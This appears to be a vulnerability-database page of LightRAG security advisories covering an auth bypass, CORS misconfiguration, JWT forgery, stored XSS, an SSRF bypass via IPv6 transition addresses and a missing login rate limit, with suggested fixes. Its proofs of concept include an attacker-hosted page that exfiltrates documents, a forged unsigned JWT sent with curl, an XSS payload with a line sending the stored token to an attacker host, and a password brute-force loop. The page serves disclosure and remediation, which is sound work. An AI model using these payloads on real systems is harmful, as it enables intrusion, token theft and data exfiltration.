Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 26, 2026

1.4.11 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


